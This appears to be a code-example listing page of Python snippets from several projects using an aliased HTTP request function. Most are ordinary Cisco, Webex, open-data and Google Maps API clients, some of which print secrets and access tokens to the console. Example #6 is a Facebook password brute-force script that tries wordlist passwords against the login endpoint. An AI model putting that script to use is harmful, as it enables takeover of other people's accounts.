예제 #1
0
파일: job_runner.py 프로젝트: aawarner/BLT
def teams_notification(username, raw_ccwr_output_csv):
    with open("teams_token.json", "r") as f:
        token = load(f)
    token = token["bearer_token"]
    url = "https://api.ciscospark.com/v1/people?email={username}@cisco.com".format(
        username=username)
    headers = {'Authorization': 'Bearer {token}'.format(token=token)}
    response = rq("GET", url, headers=headers)
    result = response.json()
    id = result["items"][0]["id"]
    url = "https://api.ciscospark.com/v1/messages"
    payload = MultipartEncoder({
        "toPersonId":
        id,
        "text":
        "Your latest report from blt.cisco.com is ready for download.",
        "files": (raw_ccwr_output_csv, open(raw_ccwr_output_csv,
                                            "rb"), "text/csv")
    })

    headers = {
        'Authorization': 'Bearer {token}'.format(token=token),
        'Content-Type': payload.content_type
    }
    response = rq("POST", url, headers=headers, data=payload)
    result = response.json()
    print("Notification sent to {username}".format(username=username))
    print(result)
예제 #2
0
파일: webui.py 프로젝트: aawarner/BLT
def grab_oauth_ccwr(username):
    """Function for ccw-r api oauth"""
    url = "https://cloudsso.cisco.com/as/token.oauth2"
    with open("ccwr_client.json", "r") as f:
        client_creds = load(f)
    print(client_creds)
    payload = "client_id=%s&client_secret=%s&grant_type=client_credentials" % (
        client_creds["client_id"],
        client_creds["client_secret"],
    )
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "*/*",
        "Cache-Control": "no-cache",
        "Host": "cloudsso.cisco.com",
        "Accept-Encoding": "gzip, deflate",
        "Content-Length": "103",
        "Connection": "keep-alive",
        "cache-control": "no-cache",
    }
    print(headers)
    response = rq("POST", url, data=payload, headers=headers)
    ccwr_access_token = response.json()["access_token"]
    print(ccwr_access_token)
    with open("profiles//%s//ccwr_oauth.json" % username, "w") as f:
        dump({"ts": int(time()), "access_token": ccwr_access_token}, f)
    return ccwr_access_token
예제 #3
0
def proxy(path):
    args = request.args.to_dict(flat=False)
    args["userId"] = current_user.get_id()

    try:
        custom_logger.handle.error(
            "I AM CALLED... AND NOW I AM CALLING CONFIGURATOR")
        resp = rq(
            method=request.method,
            # url=request.url.replace(request.host_url, 'new-domain.com'),
            url=f'{os.environ.get("CONFIGURATOR_URL")}configurator/{path}',
            params=args,
            headers={
                key: value
                for (key, value) in request.headers if key != 'Host'
            },
            data=request.get_data(),
            # cookies=request.cookies,
            allow_redirects=False)
    except:
        custom_logger.handle.error("FAILED TO REACH CONFIGURATOR")
        abort(HTTPStatus.INTERNAL_SERVER_ERROR,
              str("FAILED TO REACH CONFIGURATOR"))

    excluded_headers = [
        'content-encoding', 'content-length', 'transfer-encoding', 'connection'
    ]
    headers = [(name, value) for (name, value) in resp.raw.headers.items()
               if name.lower() not in excluded_headers]
    custom_logger.handle.error(f"CONFIGURATOR_STATUS_CODE: {resp.status_code}")
    response = Response(resp.content, resp.status_code, headers)
    return response
    def execute(trial=False):
        '''Retrieve necessary data set.'''
        startTime = datetime.datetime.now()

        # Set up the database connection.
        client = dml.pymongo.MongoClient()
        repo = client.repo
        repo.authenticate('asambors_maxzm', 'asambors_maxzm')

        data_urls = {
            "hospitals":
            'https://data.cityofboston.gov/resource/u6fv-m8v4.json',
            "energywater":
            'https://data.cityofboston.gov/resource/vxhe-ma3y.json',
            "ziptoincome":
            'http://datamechanics.io/data/asambors_maxzm/zipCodeSallaries.json',
            "zipcodetolatlong":
            'http://datamechanics.io/data/asambors_maxzm/zipcodestolatlong.json'
        }

        for key in data_urls:
            url = data_urls[key]
            response = urllib.request.urlopen(url).read().decode("utf-8")
            r = json.loads(response)

            repo.dropCollection(key)
            repo.createCollection(key)
            repo['asambors_maxzm.' + key].insert_many(r)
            repo['asambors_maxzm.' + key].metadata({'complete': True})

        # Using SODA API so different format for request
        sleep_soda_api = 'https://chronicdata.cdc.gov/resource/eqbn-8mpz.json?$offset=13908&$limit=515'
        response = rq(method="GET", url=sleep_soda_api)
        sleep_data = response.json()

        repo.dropCollection('nosleepma')
        repo.createCollection('nosleepma')
        repo['asambors_maxzm.nosleepma'].insert_many(sleep_data)
        repo['asambors_maxzm.nosleepma'].metadata({'complete': True})

        repo.logout()
        endTime = datetime.datetime.now()
        return {"start": startTime, "end": endTime}
예제 #5
0
def proxy(path):
    request.args["userId"] = current_user.get_id()
    resp = rq(
        method=request.method,
        # url=request.url.replace(request.host_url, 'new-domain.com'),
        url=f'{os.environ.get("CONFIGURATOR_URL")}{path}',
        params=request.args,
        headers={
            key: value
            for (key, value) in request.headers if key != 'Host'
        },
        data=request.get_data(),
        # cookies=request.cookies,
        allow_redirects=False)
    excluded_headers = [
        'content-encoding', 'content-length', 'transfer-encoding', 'connection'
    ]
    headers = [(name, value) for (name, value) in resp.raw.headers.items()
               if name.lower() not in excluded_headers]
    response = Response(resp.content, resp.status_code, headers)
    return response
예제 #6
0
def entrar():
    try:
        os.system('clear')
        Banner()
        print('{0}Aguarde!'.format(Y))
        sleep(2)
        ler = open(passw, 'r')
        for emails in list_users:
            print("{0}{1}".format(Y, emails))

            for pwd in ler.readlines():
                senha = pwd.rstrip()
                request = rq(
                    "https://m.facebook.com/login.php?refsrc=https%3A%2F%2Fwww.facebook.com%2Flogin.php&lwv=100&refid=9",
                    data={
                        "email": str(user),
                        "pass": str(senha),
                        "login": "******"
                    })

                print('{0}[-] {1}Decifrando Senha ------> {2}'.format(
                    R, N, senha))
        if not "Login" in request.text:
            print('\n{0}#####################################################'.
                  format(N))
            print('{0} [+] {1}Senha Decifrada -----> {2}{3}'.format(
                G, Y, G, senha))
            print('{0}######################################################'.
                  format(N))
            exit()

    except IOError:
        print("Arquivo nao encontrado")

    except KeyboardInterrupt:
        print('\n{0}Saindo'.format(R))
        sleep(3)

    except Exception:
        print('{0}[-] Por favor verifique a Conexão'.format(R))
예제 #7
0
파일: webui.py 프로젝트: aawarner/BLT
def grab_oauth_ccw_order(username, password):
    """function for ccw order api oauth"""

    try:
        with open("ccw_order_cred.json", "r") as f:
            password_creds = load(f)
        cred_tuple = (
            password_creds["client_id"],
            password_creds["client_secret"],
            username,
            password,
        )
        url = "https://cloudsso.cisco.com/as/token.oauth2"
        payload = (
            "client_id=%s&client_secret=%s&grant_type=password&username=%s&password=%s"
            % cred_tuple)
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept": "application/json",
            "cache-control": "no-cache",
        }
    except FileNotFoundError:
        print("ccw_order_cred.json is missing...correct this problem")
        return None

    try:
        response = rq("POST", url, data=payload, headers=headers)
        ccwo_access_token = response.json()["access_token"]
        if "profiles" not in os.listdir():
            os.mkdir("profiles")
        if username not in os.listdir("profiles"):
            os.mkdir("profiles//%s" % username)
            os.mkdir("profiles//%s//reports" % username)
        with open("profiles//%s//ccw_order_oauth.json" % username, "w") as f:
            dump({"ts": int(time()), "access_token": ccwo_access_token}, f)
        return ccwo_access_token
    except KeyError:
        return None
예제 #8
0
    def get_closest_path(info, G):
        obesity_stops = [(stop['stop_id'], stop['rect_lat'], stop['rect_lon'])
                         for stop in info['obesity_locations']['stops']
                         if stop['mode'] == 'Subway']
        healthy_stops = [(stop['stop_id'], stop['rect_lat'], stop['rect_lon'])
                         for stop in info['healthy_locations']['stops']
                         if stop['mode'] == 'Subway']

        origin_long = info['obesity_locations']['obesity']['geolocation'][
            'rect_lon']
        origin_lat = info['obesity_locations']['obesity']['geolocation'][
            'rect_lat']

        dest_lat = info['healthy_locations']['healthy_locations'][
            'rect_location'][0]
        dest_long = info['healthy_locations']['healthy_locations'][
            'rect_location'][1]

        google_key = dml.auth['services']['googlemaps']['key']

        base_link = "https://maps.googleapis.com/maps/api/directions/json?"
        origin = "origin=" + str(origin_lat) + "," + str(origin_long)
        destination = "&destination=" + str(dest_lat) + "," + str(dest_long)
        bus_mode = "&mode=transit&transit_mode=bus"
        walk_mode = "&mode=walking"
        api_key = "&key=" + google_key

        # print('obesity stops length:', len(obesity_stops), 'healthy stops length:', len(obesity_stops))
        min_times = []
        for o_stop, o_stop_lat, o_stop_long in obesity_stops:
            for h_stop, h_stop_lat, h_stop_long in healthy_stops:
                try:
                    time = nx.dijkstra_path_length(G, o_stop, h_stop)

                    # Find walking distance/duration from start to o_stop
                    o_stop_coords = "&destination=" + str(
                        o_stop_lat) + "," + str(o_stop_long)
                    walking_to_url = base_link + origin + o_stop_coords + walk_mode + api_key
                    response = rq(method="GET", url=walking_to_url)

                    raw = response.json()
                    total_added_time_for_walking = 0

                    for route in raw['routes']:
                        tots = 0
                        for leg in route['legs']:
                            time_in_seconds = leg['duration']['value']
                            tots += time_in_seconds

                        tots /= 60.0
                        total_added_time_for_walking += tots

                    # Find walking distance/duration from h_stop to stop
                    h_stop_coords = "origin=" + str(h_stop_lat) + "," + str(
                        h_stop_long)
                    walking_from_url = base_link + h_stop_coords + destination + walk_mode + api_key
                    response = rq(method="GET", url=walking_from_url)
                    raw = response.json()

                    # print("RESPONSE TEXT IS {}".format(response.text))
                    for route in raw['routes']:
                        tots = 0
                        for leg in route['legs']:
                            time_in_seconds = leg['duration']['value']
                            tots += time_in_seconds

                        tots /= 60.0
                        total_added_time_for_walking += tots

                    # print('TIME IS {}'.format(time + total_added_time_for_walking))
                    min_times.append(time + total_added_time_for_walking)
                except nx.NetworkXNoPath:
                    pass

        # obesity_bus_stops = [ stop['stop_id'] for stop in info['obesity_locations']['stops'] if stop['mode'] != 'Subway' ]
        # healthy_bus_stops = [ stop['stop_id'] for stop in info['healthy_locations']['stops'] if stop['mode'] != 'Subway' ]

        # print("Origin lat long {} {} and destination lat long {} {}".format(origin_lat, origin_long, dest_lat, dest_long))

        bus_link = base_link + origin + destination + bus_mode + api_key
        response = rq(method="GET", url=bus_link)
        raw_json = response.json()

        for route in raw_json['routes']:
            sum = 0
            for leg in route['legs']:
                time_in_seconds = leg['duration']['value']
                sum += time_in_seconds

            sum /= 60.0
            min_times.append(sum)

        # # print("Origin lat long {} {} and destination lat long {} {}".format(origin_lat, origin_long, dest_lat, dest_long))

        if len(min_times) == 0:
            info['min_travel_time'] = sys.maxsize
        else:
            info['min_travel_time'] = min(min_times)
            # print("MIN TRAVEL TIME {}".format(info['min_travel_time']))

        # print(min_times)
        # print('info is\n' + str(info))
        return info
예제 #9
0
파일: webui.py 프로젝트: aawarner/BLT
def ccwo_search_request(username, so_list=[]):
    """ccw order search function"""
    try:
        with open("profiles//%s//ccw_order_oauth.json" % username, "r") as f:
            jl = load(f)
        print("ccw order oauth2 token age: " + str(int(time()) - jl["ts"]) +
              " seconds.")

        ccwo_access_token = jl["access_token"]
    except FileNotFoundError as e:
        print(e)
        pass

    url = "https://api.cisco.com/commerce/ORDER/sync/getSerialNumbers"
    headers = {
        "Accept": "application/json",
        "Content-Type": "application/json",
        "Request-ID": "Type: Integer",
        "Accept-Language": "en_us",
        "Authorization": "Bearer %s" % ccwo_access_token,
        "cache-control": "no-cache",
        "Host": "api.cisco.com",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive",
    }
    ccwo_sn_list = []
    ccwo_error_so_list = []
    so_data_matrix_header = [[
        "Sales Order Number", "Line Number", "Part Number", "Quantity"
    ]]
    so_data_matrix = []
    for so_num in so_list:
        try:
            pageNumber = 1
            payload = dumps({
                "serialNumberRequest": {
                    "salesOrderNumber": so_num,
                    "pageNumber": str(pageNumber),
                }
            })
            response = rq("POST", url, data=payload, headers=headers)
            rj = response.json()
            so_data_matrix = so_data_matrix + [[
                so_num, i["lineNumber"], i["partNumber"], i["quantity"]
            ] for i in rj["serialNumberResponse"]["serialDetails"]["lines"]]
            # print(dumps(rj, sort_keys=True, indent=4))
            total_pages = int(
                rj["serialNumberResponse"]["responseHeader"]["totalPages"])
            if total_pages > 1:
                # print("SO# %s totalPages is great than 1"%str(so_num))
                pageNumber = 2
                for i in range(total_pages - 1):
                    payload = dumps({
                        "serialNumberRequest": {
                            "salesOrderNumber": so_num,
                            "pageNumber": str(pageNumber),
                        }
                    })
                    addtl_page = rq("POST", url, data=payload, headers=headers)
                    addtl_page = addtl_page.json()
                    so_data_matrix = so_data_matrix + [[
                        so_num, i["lineNumber"], i["partNumber"], i["quantity"]
                    ] for i in addtl_page["serialNumberResponse"]
                                                       ["serialDetails"]
                                                       ["lines"]]
                    pageNumber += 1
                    # print(addtl_page)
                    rj["serialNumberResponse"]["serialDetails"]["lines"] = (
                        rj["serialNumberResponse"]["serialDetails"]["lines"] +
                        addtl_page["serialNumberResponse"]["serialDetails"]
                        ["lines"])
            sn_parse1 = [
                i for i in rj["serialNumberResponse"]["serialDetails"]["lines"]
            ]
            sn_parse2 = [i["serialNumbers"] for i in sn_parse1]
            # print(dumps(sn_parse2, indent=4))
            print(
                rj["serialNumberResponse"]["responseHeader"]["totalPages"] +
                " is the total number of pages in the CCWO response for SO#%s"
                % so_num)
            for i in sn_parse2:
                for j in i:
                    ccwo_sn_list.append(str(j["serialNumber"]))

        except Exception:
            print(str(so_num) + " SO# could not be retrieved")
            ###logger.debug(so_num + " SO# could not be retrieved")
            ccwo_error_so_list.append(so_num)
            # print(str(so_num)+' cannot be retrieved from ccw.')
            continue

    print(str(len(ccwo_sn_list)) + " is the length of the ccwo sn list.")
    # print(ccwo_sn_list)
    ##logger.debug(ccwo_sn_list)
    so_data_matrix.sort()
    so_data_matrix = so_data_matrix_header + so_data_matrix
    return ccwo_sn_list, ccwo_error_so_list, so_data_matrix
예제 #10
0
파일: webui.py 프로젝트: aawarner/BLT
def ccwr_search_request(username, searchType="serialNumbers", search_list=[]):
    """ccw-r search function"""
    try:
        with open("profiles//%s//ccwr_oauth.json" % username, "r") as f:
            jl = load(f)
        print("ccwr oauth2 token age: " + str(int(time()) - jl["ts"]) +
              " seconds.")
        if (time() - jl["ts"]) > 3500:
            ccwr_access_token = grab_oauth_ccwr(username)
        else:
            ccwr_access_token = jl["access_token"]
    except:
        ccwr_access_token = grab_oauth_ccwr(username)

    url = "https://api.cisco.com/ccw/renewals/api/v1.0/search/lines"
    headers = {
        "Accept": "application/json",
        "Content-Type": "application/json",
        "Request-ID": "Type: Integer",
        "Accept-Language": "en_us",
        "Authorization": "Bearer %s" % ccwr_access_token,
        "Cache-Control": "no-cache",
        "Host": "api.cisco.com",
        "Accept-Encoding": "gzip, deflate",
        "Content-Length": "113",
        "Connection": "keep-alive",
        "cache-control": "no-cache",
    }

    offset = 0
    payload = dumps({
        searchType: search_list,
        "limit": 1000,
        "offset": offset,
        "configurations": True,
    })

    with open('counter_dict.json', 'r') as f:
        counter_dict = load(f)
    current_hr = int(ctime().split()[3].split(':')[0])
    current_dt = ctime().split()[1:3]
    if (current_hr != counter_dict['current_hr']) or (
            current_dt != counter_dict['current_dt']):
        with open('counter_dict.json', 'w') as f:
            counter_dict['current_hr'] = current_hr
            counter_dict['page_counter'] = 0
            counter_dict['over'] = False
            counter_dict['current_dt'] = current_dt
            dump(counter_dict, f)
    if counter_dict['over'] == False:
        response = rq("POST", url, data=payload, headers=headers)
        if response.status_code == 403:
            ccwr_access_token = grab_oauth_ccwr()
            headers["Authorization"] = "Bearer %s" % ccwr_access_token
            response = rq("POST", url, data=payload, headers=headers)
        else:
            ccwr_response = response.json()
            try:
                counter_dict['page_counter'] = counter_dict['page_counter'] + (
                    int(ccwr_response["totalRecords"] / 1000) + 1)
            except:
                pass
            with open('counter_dict.json', 'w') as f:
                if counter_dict['page_counter'] > 298:
                    counter_dict['over'] = True
                    ts = str(int(time()))
                    with open('jobs/%s.%s' % (username, ts), 'w') as job:
                        dump(search_list, job)
                    print(
                        '\n\n\nDo some scheduling, the paging counter just went over!\n\n\n'
                    )
                    dump(counter_dict, f)
                    ccwr_response = 'over'
                    return ccwr_response, ccwr_access_token
                dump(counter_dict, f)

    if counter_dict['over'] == True:
        ccwr_response = 'over'
        ts = str(int(time()))
        if search_list != []:
            with open('jobs/%s.%s' % (username, ts), 'w') as job:
                dump(search_list, job)
        return ccwr_response, ccwr_access_token

    else:
        response = None

    try:
        if int(ccwr_response["totalRecords"]) > 1000:
            additional_requests = int(
                int(ccwr_response["totalRecords"]) / 1000)
            for i in range(additional_requests):
                offset += 1000
                payload = dumps({
                    searchType: search_list,
                    "limit": 1000,
                    "offset": offset,
                    "configurations": True,
                })
                addtl_response = rq("POST", url, data=payload, headers=headers)
                addtl_response = addtl_response.json()
                ccwr_response["instances"] = (ccwr_response["instances"] +
                                              addtl_response["instances"])
        return ccwr_response, ccwr_access_token
    except:
        return None, ccwr_access_token
예제 #11
0
파일: webui.py 프로젝트: aawarner/BLT
def ccwo_order_status(username, so_num):
    try:
        with open("profiles//%s//ccw_order_oauth.json" % username, "r") as f:
            jl = load(f)
        ccwo_access_token = jl["access_token"]
    except Exception as e:
        print(e)

    url = "https://api.cisco.com/commerce/ORDER/v2/sync/checkOrderStatus"
    headers = {
        "Accept": "application/json",
        "Content-Type": "application/json",
        "Request-ID": "Type: Integer",
        "Accept-Language": "en_us",
        "Authorization": "Bearer %s" % ccwo_access_token,
        "cache-control": "no-cache",
        "Host": "api.cisco.com",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive",
    }

    if so_num.startswith("8"):
        payload = dumps({
            "GetPurchaseOrder": {
                "value": {
                    "DataArea": {
                        "PurchaseOrder": [{
                            "PurchaseOrderHeader": {
                                "ID": {
                                    "value": ""
                                },
                                "DocumentReference": [{
                                    "ID": {
                                        "value": so_num
                                    }
                                }],
                                "SalesOrderReference": [{
                                    "ID": {
                                        "value": ""
                                    }
                                }],
                                "Description": [{
                                    "value": "Yes",
                                    "typeCode": "details"
                                }],
                            }
                        }]
                    },
                    "ApplicationArea": {
                        "CreationDateTime": "datetime",
                        "BODID": {
                            "value": "BoDID-test",
                            "schemeVersionID": "V1"
                        },
                    },
                }
            }
        })
    else:
        payload = dumps({
            "GetPurchaseOrder": {
                "value": {
                    "DataArea": {
                        "PurchaseOrder": [{
                            "PurchaseOrderHeader": {
                                "ID": {
                                    "value": ""
                                },
                                "DocumentReference": [{
                                    "ID": {
                                        "value": ""
                                    }
                                }],
                                "SalesOrderReference": [{
                                    "ID": {
                                        "value": so_num
                                    }
                                }],
                                "Description": [{
                                    "value": "Yes",
                                    "typeCode": "details"
                                }],
                            }
                        }]
                    },
                    "ApplicationArea": {
                        "CreationDateTime": "datetime",
                        "BODID": {
                            "value": "BoDID-test",
                            "schemeVersionID": "V1"
                        },
                    },
                }
            }
        })
    response = rq("POST", url, data=payload, headers=headers)
    result = response.json()
    result = \
    result["ShowPurchaseOrder"]["value"]["DataArea"]["PurchaseOrder"][0]["PurchaseOrderHeader"]["Extension"][4]["Name"][
        0]["value"]

    result = {so_num: result}
    return result